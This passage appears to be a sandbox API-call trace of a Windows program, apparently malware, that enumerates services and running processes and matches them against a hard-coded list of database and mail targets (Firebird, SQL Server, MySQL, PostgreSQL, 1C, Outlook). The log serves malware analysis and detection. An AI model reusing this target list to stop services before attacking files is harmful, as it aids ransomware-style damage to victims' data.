lpString2="DPS") returned 1 [0043.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.324] lstrlenW (lpString="eventlog") returned 8 [0043.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0043.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0043.324] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0043.324] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0043.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0043.324] lstrlenW (lpString="EventSystem") returned 11 [0043.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.324] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.324] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.324] lstrlenW (lpString="gpsvc") returned 5 [0043.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.324] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.324] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.324] lstrlenW (lpString="iphlpsvc") returned 8 [0043.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.324] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.324] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.324] lstrlenW (lpString="LanmanServer") returned 12 [0043.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.324] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.324] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.325] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.325] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.325] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.325] lstrlenW (lpString="lmhosts") returned 7 [0043.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.325] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.325] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.325] lstrlenW (lpString="MMCSS") returned 5 [0043.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0043.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0043.325] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0043.325] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0043.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0043.325] lstrlenW (lpString="MpsSvc") returned 6 [0043.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.325] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.325] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.325] lstrlenW (lpString="Netman") returned 6 [0043.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0043.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0043.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0043.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0043.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0043.325] lstrlenW (lpString="netprofm") returned 8 [0043.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.325] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.325] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.325] lstrlenW (lpString="NlaSvc") returned 6 [0043.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.326] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.326] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.326] lstrlenW (lpString="nsi") returned 3 [0043.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.326] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.326] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.326] lstrlenW (lpString="PcaSvc") returned 6 [0043.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.326] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.326] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.326] lstrlenW (lpString="PlugPlay") returned 8 [0043.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.326] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.326] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.326] lstrlenW (lpString="Power") returned 5 [0043.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.326] lstrlenW (lpString="ProfSvc") returned 7 [0043.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.326] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.326] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.326] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.327] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.327] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.327] lstrlenW (lpString="RpcSs") returned 5 [0043.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.327] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.327] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.327] lstrlenW (lpString="SamSs") returned 5 [0043.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.327] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.327] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.327] lstrlenW (lpString="Schedule") returned 8 [0043.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.327] lstrlenW (lpString="SENS") returned 4 [0043.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.327] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.327] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.327] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.327] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.327] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.328] lstrlenW (lpString="Spooler") returned 7 [0043.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.328] lstrlenW (lpString="swprv") returned 5 [0043.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0043.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0043.328] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0043.328] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0043.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0043.328] lstrlenW (lpString="SysMain") returned 7 [0043.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.328] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.328] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.328] lstrlenW (lpString="Themes") returned 6 [0043.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.328] lstrlenW (lpString="TrkWks") returned 6 [0043.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0043.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0043.328] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0043.328] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0043.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0043.328] lstrlenW (lpString="UxSms") returned 5 [0043.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0043.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0043.328] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0043.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0043.329] lstrlenW (lpString="VSS") returned 3 [0043.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0043.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0043.329] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0043.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0043.329] lstrlenW (lpString="WdiServiceHost") returned 14 [0043.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.329] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0043.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0043.329] lstrlenW (lpString="WdiSystemHost") returned 13 [0043.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.329] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0043.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0043.329] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0043.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.329] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0043.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0043.329] lstrlenW (lpString="Winmgmt") returned 7 [0043.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0043.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0043.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0043.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0043.329] lstrlenW (lpString="WPDBusEnum") returned 10 [0043.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.329] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0043.329] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0043.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0043.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0043.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0043.332] Process32FirstW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.332] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.333] lstrlenW (lpString="System") returned 6 [0043.333] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0043.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0043.333] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0043.333] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0043.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0043.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0043.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0043.333] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.333] lstrlenW (lpString="smss.exe") returned 8 [0043.333] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0043.333] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0043.333] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0043.333] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0043.333] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0043.333] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0043.333] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0043.334] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.334] lstrlenW (lpString="csrss.exe") returned 9 [0043.334] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.334] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.334] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.334] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.334] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.334] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.335] lstrlenW (lpString="wininit.exe") returned 11 [0043.335] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.335] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.335] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.335] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.335] lstrlenW (lpString="csrss.exe") returned 9 [0043.335] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.336] lstrlenW (lpString="winlogon.exe") returned 12 [0043.336] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.336] lstrlenW (lpString="services.exe") returned 12 [0043.336] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.337] lstrlenW (lpString="lsass.exe") returned 9 [0043.337] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.337] lstrlenW (lpString="lsm.exe") returned 7 [0043.337] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.338] lstrlenW (lpString="svchost.exe") returned 11 [0043.338] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.338] lstrlenW (lpString="svchost.exe") returned 11 [0043.338] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.339] lstrlenW (lpString="svchost.exe") returned 11 [0043.339] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.339] lstrlenW (lpString="svchost.exe") returned 11 [0043.339] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.340] lstrlenW (lpString="svchost.exe") returned 11 [0043.340] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.340] lstrlenW (lpString="audiodg.exe") returned 11 [0043.340] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.341] lstrlenW (lpString="svchost.exe") returned 11 [0043.341] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.341] lstrlenW (lpString="svchost.exe") returned 11 [0043.341] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.342] lstrlenW (lpString="dwm.exe") returned 7 [0043.342] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.343] lstrlenW (lpString="explorer.exe") returned 12 [0043.343] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.343] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.343] Process32NextW (in: hSnapshot=0x1a8, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, 